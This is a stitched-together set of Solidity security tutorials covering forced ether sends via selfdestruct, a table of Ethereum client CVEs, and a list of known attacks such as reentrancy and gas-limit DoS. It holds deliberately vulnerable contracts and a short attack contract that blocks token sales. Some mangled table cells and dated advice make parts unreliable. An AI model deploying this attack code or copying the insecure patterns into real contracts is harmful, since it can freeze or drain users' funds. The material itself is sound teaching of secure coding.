        redeemableEther[msg.sender] = 0;
        msg.sender.transfer(transferValue);
    }
 }

GITHUB


Here, we have created a new variable, depositedWei, that tracks known ether deposited, and it is this variable that we use for our tests. Note that we no longer have any reference to this.balance.

Smart contract security is one of the biggest impediments to the mass adoption of the blockchain. For this reason, we are proud to present this series of articles regarding Solidity smart contract security to educate and improve the knowledge in this domain to the public.

Forcibly sending ether is an attacker’s technique to manipulate a target contract balance. This article will describe how a smart contract relying on improper balance checking can be attacked and how to avoid the issue. Enjoy reading.

The smart contracts in this article are used to demonstrate vulnerability issues only. Some contracts are vulnerable, some are simplified for minimal, some contain malicious code. Hence, do not use the source code in this article in your production. Nonetheless, feel free to contact Valix Consulting for your smart contract consulting and auditing services.

Table of Contents

  • The Vulnerability
  • The Attack
  • The Solution
  • Summary

Vulnerability Ethereum

The following code exhibits the InsecureMoonToken contract. The MOON is a non-divisible token with zero token decimals (line 12). Users can buy, sell, or transfer 1, 2, 3, or 46 MOONs but not 33.5 MOONs.

Besides the non-divisible characteristic, the MOON token is also a stablecoin pegged with the price of the ETH token (line 6). In other words, 1 MOON will always be worth 1 ETH.

Assuredly, the InsecureMoonToken contract is vulnerable. Can you catch up on the issue? 

pragma solidity 0.8.17;

contract InsecureMoonToken {
    mapping (address => uint256) private userBalances;

    uint256 public constant TOKEN_PRICE = 1 ether;
    string public constant name = "Moon Token";
    string public constant symbol = "MOON";

    // The token is non-divisible
    // You can buy/sell/transfer 1, 2, 3, or 46 tokens but not 33.5
    uint8 public constant decimals = 0;

    uint256 public totalSupply;

    function buy(uint256 _amount) external payable {
        require(
            msg.value == _amount * TOKEN_PRICE, 
            "Ether submitted and Token amount to buy mismatch"
        );

        userBalances[msg.sender] += _amount;
        totalSupply += _amount;
    }

    function sell(uint256 _amount) external {
        require(userBalances[msg.sender] >= _amount, "Insufficient balance");

        userBalances[msg.sender] -= _amount;
        totalSupply -= _amount;

        (bool success, ) = msg.sender.call{value: _amount * TOKEN_PRICE}("");
        require(success, "Failed to send Ether");

        assert(getEtherBalance() == totalSupply * TOKEN_PRICE);
    }

    function transfer(address _to, uint256 _amount) external {
        require(_to != address(0), "_to address is not valid");
        require(userBalances[msg.sender] >= _amount, "Insufficient balance");
        
        userBalances[msg.sender] -= _amount;
        userBalances[_to] += _amount;
    }

    function getEtherBalance() public view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) external view returns (uint256) {
        return userBalances[_user];
    }
}

GITHUB

In the InsecureMoonToken contract, users can buy MOON tokens with the corresponding number of Ethers via the buy function (lines 16–24). Users can also sell their MOONs through the sell function (lines 26–36), transfer their MOONs via the transfer function (lines 38–44), get their balances by consulting the getUserBalance function (lines 50–52), and get the total number of Ethers locked in the contract by way of the getEtherBalance function (lines 46–48).

As you can see, the InsecureMoonToken contract is straightforward. However, the contract got an improper balance assertion issue in line 35 in the sell function.

Specifically, the sell function hires the assert(getEtherBalance() == totalSupply * TOKEN_PRICE); statement to strictly assert that the Ether balance of the InsecureMoonToken contract (i.e., the getEtherBalance() part) must always be equal to the total supply of the MOON token (i.e., the totalSupply * TOKEN_PRICE part). This assertion ensures that the number of locked Ethers balances the MOON total supply.

Nevertheless, relying on the contract’s Ether balance as the sell function did is prone to attack. Consider if an attacker can send some small Ethers to lock into the InsecureMoonToken contract. What would happen?

The assertion statement would always be evaluated as false because the contract’s Ether balance would no longer match the MOON token’s total supply. This results in reverting all sell transactions.

Since the InsecureMoonToken contract does not implement the receive or fallback function, the contract regularly cannot receive any Ethers. But how can the attacker send Ethers into the contract? Figure 1 below illustrates the solution the attacker adopts to achieve the exploitation.

Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

In Solidity, a special function named selfdestruct is used for removing the bytecode from the contract address executing it. Besides the contract bytecode removal, one side effect is that the Ethers stored in the removing contract would be forcibly sent to any specified address.

The selfdestruct function can forcibly send Ethers to even the contract that does not implement the receive or fallback function like the InsecureMoonToken contract.

This way, if the attacker deploys and executes the Attack contract containing the selfdestruct function, they can forcibly send Ethers to the InsecureMoonToken contract by specifying the InsecureMoonToken contract address as the argument of the selfdestruct function (i.e., selfdestruct(InsecureMoonToken)).


The Attack

The following code presents the Attack contract that can be used to exploit the InsecureMoonToken contract.

pragma solidity 0.8.17;

contract Attack {
    address immutable moonToken;

    constructor(address _moonToken) {
        moonToken = _moonToken;
    }

    function attack() external payable {
        require(msg.value != 0, "Require some Ether to attack");

        address payable target = payable(moonToken);
        selfdestruct(target);
    }
}

GITHUB


To attack the InsecureMoonToken, an attacker performs the attack steps as follows.

  1. Deploy the Attack contract as well as specifying the InsecureMoonToken contract address as the contract deployment argument (line 6)
  2. Invoke the Attack.attack() function along with supplying some Ethers for attacking

After step 2, the supplied Ethers would be forcibly sent into the InsecureMoonToken contract by way of the selfdestruct function (line 14). Then, any sell transactions would be reverted, leading to a denial-of-service attack to the InsecureMoonToken contract.

Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks
Figure 2. The attack result

Figure 2 displays the result of the attack. As you can see, two users bought 55 MOONs with 55 Ethers. But, after the attacker forcibly sent 1 Wei to the InsecureMoonToken contract, the users were no longer selling their MOONs.

Surprise!! You can buy it but may not sell it.


The Solution

The FixedMoonToken contract below is the remediated version of the InsecureMoonToken contract.

pragma solidity 0.8.17;

contract FixedMoonToken {
    mapping (address => uint256) private userBalances;

    uint256 public constant TOKEN_PRICE = 1 ether;
    string public constant name = "Moon Token";
    string public constant symbol = "MOON";

    // The token is non-divisible
    // You can buy/sell/transfer 1, 2, 3, or 46 tokens but not 33.5
    uint8 public constant decimals = 0;

    uint256 public totalSupply;

    function buy(uint256 _amount) external payable {
        require(
            msg.value == _amount * TOKEN_PRICE, 
            "Ether submitted and Token amount to buy mismatch"
        );

        userBalances[msg.sender] += _amount;
        totalSupply += _amount;
    }

    function sell(uint256 _amount) external {
        require(userBalances[msg.sender] >= _amount, "Insufficient balance");

        userBalances[msg.sender] -= _amount;
        totalSupply -= _amount;

        (bool success, ) = msg.sender.call{value: _amount * TOKEN_PRICE}("");
        require(success, "Failed to send Ether");

        // FIX: Do not rely on address(this).balance. If necessary, however, 
        // apply assert(address(this).balance >= totalSupply * TOKEN_PRICE); instead
        assert(getEtherBalance() >= totalSupply * TOKEN_PRICE);
    }

    function transfer(address _to, uint256 _amount) external {
        require(_to != address(0), "_to address is not valid");
        require(userBalances[msg.sender] >= _amount, "Insufficient balance");
        
        userBalances[msg.sender] -= _amount;
        userBalances[_to] += _amount;
    }

    function getEtherBalance() public view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) external view returns (uint256) {
        return userBalances[_user];
    }
}

GITHUB


The smart contract should avoid being dependent on the contract’s Ether balance (i.e., address(this).balance) as it can be artificially manipulated. If necessary, however, the contract should be prepared for such cases of contract balance manipulation.

To remediate the improper balance assertion issue, the FixedMoonToken contract’s assertion statement was improved by using the >= instead of the == symbol as follows: assert(getEtherBalance() >= totalSupply * TOKEN_PRICE); (line 37).

As a result, even if the contract balance is manipulated, the FixedMoonToken contract’s sell function could still work fine.


#CVE IDCWE ID# of ExploitsVulnerability Type(s)Publish DateUpdate DateScoreGained Access LevelAccessComplexityAuthenticationConf.Integ.Avail.
1CVE-2022-374502022-08-052022-08-120.0None??????????????????
Go Ethereum (aka geth) through 1.10.21 allows attackers to increase rewards by mining blocks in certain situations, and using a manipulation of time-difference values to achieve replacement of main-chain blocks, aka Riskless Uncle Making (RUM), as exploited in the wild in 2020 through 2022.
2CVE-2022-291772022-05-202022-06-064.3NoneRemoteMediumNot requiredNoneNonePartial
Go Ethereum is the official Golang implementation of the Ethereum protocol. Prior to version 1.10.17, a vulnerable node, if configured to use high verbosity logging, can be made to crash when handling specially crafted p2p messages sent from an attacker node. Version 1.10.17 contains a patch that addresses the problem. As a workaround, setting loglevel to default level (`INFO`) makes the node not vulnerable to this attack.
3CVE-2022-23328400DoS2022-03-042022-03-175.0NoneRemoteLowNot requiredNoneNonePartial
A design flaw in all versions of Go-Ethereum allows an attacker node to send 5120 pending transactions of a high gas price from one account that all fully spend the full balance of the account to a victim Geth node, which can purge all of pending transactions in a victim node’s memory pool and then occupy the memory pool to prevent new transactions from entering the pool, resulting in a denial of service (DoS).
4CVE-2022-23327DoS2022-03-042022-03-175.0NoneRemoteLowNot requiredNoneNonePartial
A design flaw in Go-Ethereum 1.10.12 and older versions allows an attacker node to send 5120 future transactions with a high gas price in one message, which can purge all of pending transactions in a victim node’s memory pool, causing a denial of service (DoS).
5CVE-2022-1930697DoS2022-08-222022-08-250.0None??????????????????
An exponential ReDoS (Regular Expression Denial of Service) can be triggered in the eth-account PyPI package, when an attacker is able to supply arbitrary input to the encode_structured_data method
6CVE-2021-43668476DoS2021-11-182021-11-232.1NoneLocalLowNot requiredNoneNonePartial
Go-Ethereum 1.10.9 nodes crash (denial of service) after receiving a serial of messages and cannot be recovered. They will crash with “runtime error: invalid memory address or nil pointer dereference” and arise a SEGV signal.
7CVE-2021-42219DoS2022-03-172022-03-285.0NoneRemoteLowNot requiredNoneNonePartial
Go-Ethereum v1.10.9 was discovered to contain an issue which allows attackers to cause a denial of service (DoS) via sending an excessive amount of messages to a node. This is caused by missing memory in the component /ethash/algorithm.go.
8CVE-2021-411732021-10-262021-10-283.5NoneRemoteMedium???NoneNonePartial
Go Ethereum is the official Golang implementation of the Ethereum protocol. Prior to version 1.10.9, a vulnerable node is susceptible to crash when processing a maliciously crafted message from a peer. Version v1.10.9 contains patches to the vulnerability. There are no known workarounds aside from upgrading.
9CVE-2021-391374362021-08-242021-08-315.0NoneRemoteLowNot requiredNoneNonePartial
go-ethereum is the official Go implementation of the Ethereum protocol. In affected versions a consensus-vulnerability in go-ethereum (Geth) could cause a chain split, where vulnerable versions refuse to accept the canonical chain. Further details about the vulnerability will be disclosed at a later date. A patch is included in the upcoming `v1.10.8` release. No workaround are available.
10CVE-2020-26800787DoS Overflow2021-01-112021-01-134.3NoneRemoteMediumNot requiredNoneNonePartial
A stack overflow vulnerability in Aleth Ethereum C++ client version <= 1.8.0 using a specially crafted a config.json file may result in a denial of service.
11CVE-2020-262656822020-12-112020-12-143.5NoneRemoteMedium???NonePartialNone
Go Ethereum, or “Geth”, is the official Golang implementation of the Ethereum protocol. In Geth from version 1.9.4 and before version 1.9.20 a consensus-vulnerability could cause a chain split, where vulnerable versions refuse to accept the canonical chain. The fix was included in the Paragade release version 1.9.20. No individual workaround patches have been made — all users are recommended to upgrade to a newer version.
12CVE-2020-262644002020-12-112020-12-144.0NoneRemoteLow???NoneNonePartial
Go Ethereum, or “Geth”, is the official Golang implementation of the Ethereum protocol. In Geth before version 1.9.25 a denial-of-service vulnerability can make a LES server crash via malicious GetProofsV2 request from a connected LES client. This vulnerability only concerns users explicitly enabling les server; disabling les prevents the exploit. The vulnerability was patched in version 1.9.25.
13CVE-2020-262422020-11-252020-12-035.0NoneRemoteLowNot requiredNoneNonePartial
Go Ethereum, or “Geth”, is the official Golang implementation of the Ethereum protocol. In Geth before version 1.9.18, there is a Denial-of-service (crash) during block processing. This is fixed in 1.9.18.
14CVE-2020-262416822020-11-252020-12-035.5NoneRemoteLow???NonePartialPartial
Go Ethereum, or “Geth”, is the official Golang implementation of the Ethereum protocol. This is a Consensus vulnerability in Geth before version 1.9.17 which can be used to cause a chain-split where vulnerable nodes reject the canonical chain. Geth’s pre-compiled dataCopy (at 0x00…04) contract did a shallow copy on invocation. An attacker could deploy a contract that writes X to an EVM memory region R, then calls 0x00..04 with R as an argument, then overwrites R to Y, and finally invokes the RETURNDATACOPY opcode. When this contract is invoked, a consensus-compliant node would push X on the EVM stack, whereas Geth would push Y. This is fixed in version 1.9.17.
15CVE-2020-262406822020-11-252020-12-035.0NoneRemoteLowNot requiredNonePartialNone
Go Ethereum, or “Geth”, is the official Golang implementation of the Ethereum protocol. An ethash mining DAG generation flaw in Geth before version 1.9.24 could cause miners to erroneously calculate PoW in an upcoming epoch (estimated early January, 2021). This happened on the ETC chain on 2020-11-06. This issue is relevant only for miners, non-mining nodes are unaffected. This issue is fixed as of 1.9.24
16CVE-2018-20421770DoS2018-12-242019-10-035.0NoneRemoteLowNot requiredNoneNonePartial
Go Ethereum (aka geth) 1.8.19 allows attackers to cause a denial of service (memory consumption) by rewriting the length of a dynamic array in memory, and then writing data to a single memory location with a large index number, as demonstrated by use of “assembly { mstore }” followed by a “c[0xC800000] = 0xFF” assignment.
17CVE-2018-19184476DoS2018-11-122018-12-135.0NoneRemoteLowNot requiredNoneNonePartial
cmd/evm/runner.go in Go Ethereum (aka geth) 1.8.17 allows attackers to cause a denial of service (SEGV) via crafted bytecode.
18CVE-2018-18920119Exec Code Overflow2018-11-122019-02-046.8NoneRemoteMediumNot requiredPartialPartialPartial
Py-EVM v0.2.0-alpha.33 allows attackers to make a vm.execute_bytecode call that triggers computation._stack.values with ‘”stack”: [100, 100, 0]’ where b’\x’ was expected, resulting in an execution failure because of an invalid opcode. This is reportedly related to “smart contracts can be executed indefinitely without gas being paid.”
19CVE-2018-16733202018-09-082018-11-075.0NoneRemoteLowNot requiredNonePartialNone
In Go Ethereum (aka geth) before 1.8.14, TraceChain in eth/api_tracer.go does not verify that the end block is after the start block.
20CVE-2018-158905022019-06-202019-06-2010.0NoneRemoteLowNot requiredCompleteCompleteComplete
An issue was discovered in EthereumJ 1.8.2. There is Unsafe Deserialization in ois.readObject in mine/Ethash.java and decoder.readObject in crypto/ECKey.java. When a node syncs and mines a new block, arbitrary OS commands can be run on the server.
21CVE-2018-12018129DoS2018-07-052018-09-045.0NoneRemoteLowNot requiredNoneNonePartial
The GetBlockHeadersMsg handler in the LES protocol implementation in Go Ethereum (aka geth) before 1.8.11 may lead to an access violation because of an integer signedness error for the array index, which allows attackers to launch a Denial of Service attack by sending a packet with a -1 query.Skip value. The vulnerable remote node would be crashed by such an attack immediately, aka the EPoD (Ethereum Packet of Death) issue.
22CVE-2017-14457125DoS +Info2018-01-192023-01-306.4NoneRemoteLowNot requiredPartialNonePartial
An exploitable information leak/denial of service vulnerability exists in the libevm (Ethereum Virtual Machine) `create2` opcode handler of CPP-Ethereum. A specially crafted smart contract code can cause an out-of-bounds read leading to memory disclosure or denial of service. An attacker can create/send malicious a smart contract to trigger this vulnerability.
23CVE-2017-14451125Exec Code2020-12-022020-12-097.5NoneRemoteLowNot requiredPartialPartialPartial
An exploitable out-of-bounds read vulnerability exists in libevm (Ethereum Virtual Machine) of CPP-Ethereum. A specially crafted smart contract code can cause an out-of-bounds read which can subsequently trigger an out-of-bounds write resulting in remote code execution. An attacker can create/send malicious smart contract to trigger this vulnerability.
24CVE-2017-12119754DoS2018-01-192022-12-145.0NoneRemoteLowNot requiredNoneNonePartial
An exploitable unhandled exception vulnerability exists in multiple APIs of CPP-Ethereum JSON-RPC. Specially crafted JSON requests can cause an unhandled exception resulting in denial of service. An attacker can send malicious JSON to trigger this vulnerability.
25CVE-2017-121188632018-01-192022-12-146.8NoneRemoteMediumNot requiredPartialPartialPartial
An exploitable improper authorization vulnerability exists in miner_stop API of cpp-ethereum’s JSON-RPC (commit 4e1015743b95821849d001618a7ce82c7c073768). An attacker can send JSON to trigger this vulnerability.
26CVE-2017-12117863Bypass2018-01-192022-12-146.8NoneRemoteMediumNot requiredPartialPartialPartial
An exploitable improper authorization vulnerability exists in miner_start API of cpp-ethereum’s JSON-RPC (commit 4e1015743b95821849d001618a7ce82c7c073768). A JSON request can cause an access to the restricted functionality resulting in authorization bypass. An attacker can send JSON to trigger this vulnerability.
27CVE-2017-12116863Bypass2018-01-192022-12-146.8NoneRemoteMediumNot requiredPartialPartialPartial
An exploitable improper authorization vulnerability exists in miner_setGasPrice API of cpp-ethereum’s JSON-RPC (commit 4e1015743b95821849d001618a7ce82c7c073768). A JSON request can cause an access to the restricted functionality resulting in authorization bypass. An attacker can send JSON to trigger this vulnerability.
28CVE-2017-12115863Bypass2018-01-192022-12-146.8NoneRemoteMediumNot requiredPartialPartialPartial
An exploitable improper authorization vulnerability exists in miner_setEtherbase API of cpp-ethereum’s JSON-RPC (commit 4e1015743b95821849d001618a7ce82c7c073768). A JSON request can cause an access to the restricted functionality resulting in authorization bypass.
29CVE-2017-12114863Bypass2018-01-192022-12-144.3NoneRemoteMediumNot requiredPartialNoneNone
An exploitable improper authorization vulnerability exists in admin_peers API of cpp-ethereum’s JSON-RPC (commit 4e1015743b95821849d001618a7ce82c7c073768). A JSON request can cause an access to the restricted functionality resulting in authorization bypass. An attacker can send JSON to trigger this vulnerability.
30CVE-2017-12113863Bypass2018-01-192022-12-146.8NoneRemoteMediumNot requiredPartialPartialPartial
An exploitable improper authorization vulnerability exists in admin_nodeInfo API of cpp-ethereum’s JSON-RPC (commit 4e1015743b95821849d001618a7ce82c7c073768). A JSON request can cause an access to the restricted functionality resulting in authorization bypass. An attacker can send JSON to trigger this vulnerability.
31CVE-2017-12112863Bypass2018-01-192022-12-146.8NoneRemoteMediumNot requiredPartialPartialPartial
An exploitable improper authorization vulnerability exists in admin_addPeer API of cpp-ethereum’s JSON-RPC (commit 4e1015743b95821849d001618a7ce82c7c073768). A JSON request can cause an access to the restricted functionality resulting in authorization bypass. An attacker can send JSON to trigger this vulnerability.

Known Attacks

The following is a list of known attacks which you should be aware of, and defend against when writing smart contracts.

Race Conditions

One of the major dangers of calling external contracts is that they can take over the control flow, and make changes to your data that the calling function wasn’t expecting. This class of bug can take many forms, and both of the major bugs that led to the DAO’s collapse were bugs of this sort.

Reentrancy

The first version of this bug to be noticed involved functions that could be called repeatedly, before the first invocation of the function was finished. This may cause the different invocations of the function to interact in destructive ways.

// INSECURE
mapping (address => uint) private userBalances;

function withdrawBalance() public {
    uint amountToWithdraw = userBalances[msg.sender];
    require(msg.sender.call.value(amountToWithdraw)()); // At this point, the caller's code is executed, and can call withdrawBalance again
    userBalances[msg.sender] = 0;
}

Since the user’s balance is not set to 0 until the very end of the function, the second (and later) invocations will still succeed, and will withdraw the balance over and over again. A very similar bug was one of the vulnerabilities in the DAO attack.

In the example given, the best way to avoid the problem is to use send() instead of call.value()(). This will prevent any external code from being executed.

However, if you can’t remove the external call, the next simplest way to prevent this attack is to make sure you don’t call an external function until you’ve done all the internal work you need to do:

mapping (address => uint) private userBalances;

function withdrawBalance() public {
    uint amountToWithdraw = userBalances[msg.sender];
    userBalances[msg.sender] = 0;
    require(msg.sender.call.value(amountToWithdraw)()); // The user's balance is already 0, so future invocations won't withdraw anything
}

Note that if you had another function which called withdrawBalance(), it would be potentially subject to the same attack, so you must treat any function which calls an untrusted contract as itself untrusted. See below for further discussion of potential solutions.

Cross-function Race Conditions

An attacker may also be able to do a similar attack using two different functions that share the same state.

// INSECURE
mapping (address => uint) private userBalances;

function transfer(address to, uint amount) {
    if (userBalances[msg.sender] >= amount) {
       userBalances[to] += amount;
       userBalances[msg.sender] -= amount;
    }
}

function withdrawBalance() public {
    uint amountToWithdraw = userBalances[msg.sender];
    require(msg.sender.call.value(amountToWithdraw)()); // At this point, the caller's code is executed, and can call transfer()
    userBalances[msg.sender] = 0;
}

In this case, the attacker calls transfer() when their code is executed on the external call in withdrawBalance. Since their balance has not yet been set to 0, they are able to transfer the tokens even though they already received the withdrawal. This vulnerability was also used in the DAO attack.

The same solutions will work, with the same caveats. Also note that in this example, both functions were part of the same contract. However, the same bug can occur across multiple contracts, if those contracts share state.

Pitfalls in Race Condition Solutions

Since race conditions can occur across multiple functions, and even multiple contracts, any solution aimed at preventing reentry will not be sufficient.

Instead, we have recommended finishing all internal work first, and only then calling the external function. This rule, if followed carefully, will allow you to avoid race conditions. However, you need to not only avoid calling external functions too soon, but also avoid calling functions which call external functions. For example, the following is insecure:

// INSECURE
mapping (address => uint) private userBalances;
mapping (address => bool) private claimedBonus;
mapping (address => uint) private rewardsForA;

function withdraw(address recipient) public {
    uint amountToWithdraw = userBalances[recipient];
    rewardsForA[recipient] = 0;
    require(recipient.call.value(amountToWithdraw)());
}

function getFirstWithdrawalBonus(address recipient) public {
    require(!claimedBonus[recipient]); // Each recipient should only be able to claim the bonus once

    rewardsForA[recipient] += 100;
    withdraw(recipient); // At this point, the caller will be able to execute getFirstWithdrawalBonus again.
    claimedBonus[recipient] = true;
}

Even though getFirstWithdrawalBonus() doesn’t directly call an external contract, the call in withdraw() is enough to make it vulnerable to a race condition. You therefore need to treat withdraw() as if it were also untrusted.

mapping (address => uint) private userBalances;
mapping (address => bool) private claimedBonus;
mapping (address => uint) private rewardsForA;

function untrustedWithdraw(address recipient) public {
    uint amountToWithdraw = userBalances[recipient];
    rewardsForA[recipient] = 0;
    require(recipient.call.value(amountToWithdraw)());
}

function untrustedGetFirstWithdrawalBonus(address recipient) public {
    require(!claimedBonus[recipient]); // Each recipient should only be able to claim the bonus once

    claimedBonus[recipient] = true;
    rewardsForA[recipient] += 100;
    untrustedWithdraw(recipient); // claimedBonus has been set to true, so reentry is impossible
}

In addition to the fix making reentry impossible, untrusted functions have been marked. This same pattern repeats at every level: since untrustedGetFirstWithdrawalBonus() calls untrustedWithdraw(), which calls an external contract, you must also treat untrustedGetFirstWithdrawalBonus() as insecure.

Another solution often suggested is a mutex. This allows you to “lock” some state so it can only be changed by the owner of the lock. A simple example might look like this:

// Note: This is a rudimentary example, and mutexes are particularly useful where there is substantial logic and/or shared state
mapping (address => uint) private balances;
bool private lockBalances;

function deposit() payable public returns (bool) {
    require(!lockBalances);
    lockBalances = true;
    balances[msg.sender] += msg.value;
    lockBalances = false;
    return true;
}

function withdraw(uint amount) payable public returns (bool) {
    require(!lockBalances && amount > 0 && balances[msg.sender] >= amount);
    lockBalances = true;

    if (msg.sender.call(amount)()) { // Normally insecure, but the mutex saves it
      balances[msg.sender] -= amount;
    }

    lockBalances = false;
    return true;
}

If the user tries to call withdraw() again before the first call finishes, the lock will prevent it from having any effect. This can be an effective pattern, but it gets tricky when you have multiple contracts that need to cooperate. The following is insecure:

// INSECURE
contract StateHolder {
    uint private n;
    address private lockHolder;

    function getLock() {
        require(lockHolder == 0);
        lockHolder = msg.sender;
    }

    function releaseLock() {
        lockHolder = 0;
    }

    function set(uint newState) {
        require(msg.sender == lockHolder);
        n = newState;
    }
}

An attacker can call getLock(), and then never call releaseLock(). If they do this, then the contract will be locked forever, and no further changes will be able to be made. If you use mutexes to protect against race conditions, you will need to carefully ensure that there are no ways for a lock to be claimed and never released. (There are other potential dangers when programming with mutexes, such as deadlocks and livelocks. You should consult the large amount of literature already written on mutexes, if you decide to go this route.)

* Some may object to the use of the term race condition since Ethereum does not currently have true parallelism. However, there is still the fundamental feature of logically distinct processes contending for resources, and the same sorts of pitfalls and potential solutions apply.

Transaction-Ordering Dependence (TOD) / Front Running

Above were examples of race conditions involving the attacker executing malicious code within a single transaction. The following are a different type of race condition inherent to Blockchains: the fact that the order of transactions themselves (within a block) is easily subject to manipulation.

Since a transaction is in the mempool for a short while, one can know what actions will occur, before it is included in a block. This can be troublesome for things like decentralized markets, where a transaction to buy some tokens can be seen, and a market order implemented before the other transaction gets included. Protecting against this is difficult, as it would come down to the specific contract itself. For example, in markets, it would be better to implement batch auctions (this also protects against high frequency trading concerns). Another way to use a pre-commit scheme (“I’m going to submit the details later”).

Timestamp Dependence

Be aware that the timestamp of the block can be manipulated by the miner, and all direct and indirect uses of the timestamp should be considered. Block numbers and average block time can be used to estimate time, but this is not future proof as block times may change (such as the changes expected during Casper).

uint someVariable = now + 1;

if (now % 2 == 0) { // the now can be manipulated by the miner

}

if ((someVariable - 100) % 2 == 0) { // someVariable can be manipulated by the miner

}

Integer Overflow and Underflow

Be aware there are around 20 cases for overflow and underflow.

Consider a simple token transfer:

mapping (address => uint256) public balanceOf;

// INSECURE
function transfer(address _to, uint256 _value) {
    /* Check if sender has balance */
    require(balanceOf[msg.sender] >= _value);
    /* Add and subtract new balances */
    balanceOf[msg.sender] -= _value;
    balanceOf[_to] += _value;
}

// SECURE
function transfer(address _to, uint256 _value) {
    /* Check if sender has balance and for overflows */
    require(balanceOf[msg.sender] >= _value && balanceOf[_to] + _value >= balanceOf[_to]);

    /* Add and subtract new balances */
    balanceOf[msg.sender] -= _value;
    balanceOf[_to] += _value;
}

If a balance reaches the maximum uint value (2^256) it will circle back to zero. This checks for that condition. This may or may not be relevant, depending on the implementation. Think about whether or not the uint value has an opportunity to approach such a large number. Think about how the uint variable changes state, and who has authority to make such changes. If any user can call functions which update the uint value, it’s more vulnerable to attack. If only an admin has access to change the variable’s state, you might be safe. If a user can increment by only 1 at a time, you are probably also safe because there is no feasible way to reach this limit.

The same is true for underflow. If a uint is made to be less than zero, it will cause an underflow and get set to its maximum value.

Be careful with the smaller data-types like uint8, uint16, uint24…etc: they can even more easily hit their maximum value.

Be aware there are around 20 cases for overflow and underflow.

DoS with (Unexpected) revert

Consider a simple auction contract:

// INSECURE
contract Auction {
    address currentLeader;
    uint highestBid;

    function bid() payable {
        require(msg.value > highestBid);

        require(currentLeader.send(highestBid)); // Refund the old leader, if it fails then revert

        currentLeader = msg.sender;
        highestBid = msg.value;
    }
}

When it tries to refund the old leader, it reverts if the refund fails. This means that a malicious bidder can become the leader while making sure that any refunds to their address will always fail. In this way, they can prevent anyone else from calling the bid() function, and stay the leader forever. A recommendation is to set up a pull payment system instead, as described earlier.

Another example is when a contract may iterate through an array to pay users (e.g., supporters in a crowdfunding contract). It’s common to want to make sure that each payment succeeds. If not, one should revert. The issue is that if one call fails, you are reverting the whole payout system, meaning the loop will never complete. No one gets paid because one address is forcing an error.

address[] private refundAddresses;
mapping (address => uint) public refunds;

// bad
function refundAll() public {
    for(uint x; x < refundAddresses.length; x++) { // arbitrary length iteration based on how many addresses participated
        require(refundAddresses[x].send(refunds[refundAddresses[x]])) // doubly bad, now a single failure on send will hold up all funds
    }
}

Again, the recommended solution is to favor pull over push payments.

DoS with Block Gas Limit

You may have noticed another problem with the previous example: by paying out to everyone at once, you risk running into the block gas limit. Each Ethereum block can process a certain maximum amount of computation. If you try to go over that, your transaction will fail.

This can lead to problems even in the absence of an intentional attack. However, it’s especially bad if an attacker can manipulate the amount of gas needed. In the case of the previous example, the attacker could add a bunch of addresses, each of which needs to get a very small refund. The gas cost of refunding each of the attacker’s addresses could, therefore, end up being more than the gas limit, blocking the refund transaction from happening at all.

This is another reason to favor pull over push payments.

If you absolutely must loop over an array of unknown size, then you should plan for it to potentially take multiple blocks, and therefore require multiple transactions. You will need to keep track of how far you’ve gone, and be able to resume from that point, as in the following example:

struct Payee {
    address addr;
    uint256 value;
}

Payee[] payees;
uint256 nextPayeeIndex;

function payOut() {
    uint256 i = nextPayeeIndex;
    while (i < payees.length && msg.gas > 200000) {
      payees[i].addr.send(payees[i].value);
      i++;
    }
    nextPayeeIndex = i;
}

You will need to make sure that nothing bad will happen if other transactions are processed while waiting for the next iteration of the payOut() function. So only use this pattern if absolutely necessary.


Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

Forcibly Sending Ether to a Contract

It is possible to forcibly send Ether to a contract without triggering its fallback function. This is an important consideration when placing important logic in the fallback function or making calculations based on a contract’s balance. Take the following example:

contract Vulnerable {
    function () payable {
        revert();
    }

    function somethingBad() {
        require(this.balance > 0);
        // Do something bad
    }
}

Contract logic seems to disallow payments to the contract and therefore disallow “something bad” from happening. However, a few methods exist for forcibly sending ether to the contract and therefore making its balance greater than zero.

The selfdestruct contract method allows a user to specify a beneficiary to send any excess ether. selfdestruct does not trigger a contract’s fallback function.

It is also possible to precompute a contract’s address and send Ether to that address before deploying the contract.

Contract developers should be aware that Ether can be forcibly sent to a contract and should design contract logic accordingly. Generally, assume that it is not possible to restrict sources of funding to your contract.


Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

Deprecated/historical attacks

These are attacks which are no longer possible due to changes in the protocol or improvements to solidity. They are recorded here for posterity and awareness.

Call Depth Attack (deprecated)

As of the EIP 150 hardfork, call depth attacks are no longer relevant* (all gas would be consumed well before reaching the 1024 call depth limit).


Denial of Service

Every node in the network consumes resources when maintaining a copy of the distributed ledger.  Every transaction requires storage space and computational cycles to process when a node is updating the state of its copy of the shared virtual machine.

Ethereum compensates nodes for this effort by having all transaction creators pay “gas” (fractions of an Ether) to submit and run a transaction.  This gas is paid to the node creating the block (which should vary from block to block).  The more computationally expensive the operation, the more gas required.

Ethereum also includes a cap on the amount of gas that a particular transaction or block can contain.  This helps to protect the network against spam, but it leaves it open to Denial of Service attacks.

The code sample above shows an example of a function that has a gas-based DoS vulnerability.  Notice that the number of loop iterations depends on a user-provided value and is always increasing.

This means that the contract can be placed in a state where it takes more gas to run the function than can fit in a transaction.  Since running out of gas terminates execution and causes the execution state to be rolled back to where it was before the transaction was processed, this makes the function completely unrunnable.

Reentrancy

Reentrancy is probably the most famous of the vulnerabilities that can exist in an Ethereum smart contract.  This vulnerability was behind the famous DAO hack that resulted in the split of the Ethereum and Ethereum Classic blockchains.

Reentrancy vulnerabilities are possible due to the existence of fallback functions in Ethereum smart contracts.  Smart contracts are able to receive transfers of value, and a fallback function contains code that is executed if a smart contract is sent Ether.  This creates a potential vulnerability since it allows another contract to execute code between two instructions of the contract sending the value.

The code sample above shows an example of a smart contract with a reentrancy vulnerability.  The logic follows a three-step flow:

  1. Validate that the withdrawal is valid
  2. Perform the withdrawal
  3. Update the contract’s internal balance sheet

While this flow makes sense, it also leaves the function vulnerable.  At line three, the function calls the fallback function of the function that called it.  This fallback function could contain another call to withdrawal, which would create the following flow:

  1. Malicious smart contract calls withdrawal
  2. Withdrawal validates request (line 2)
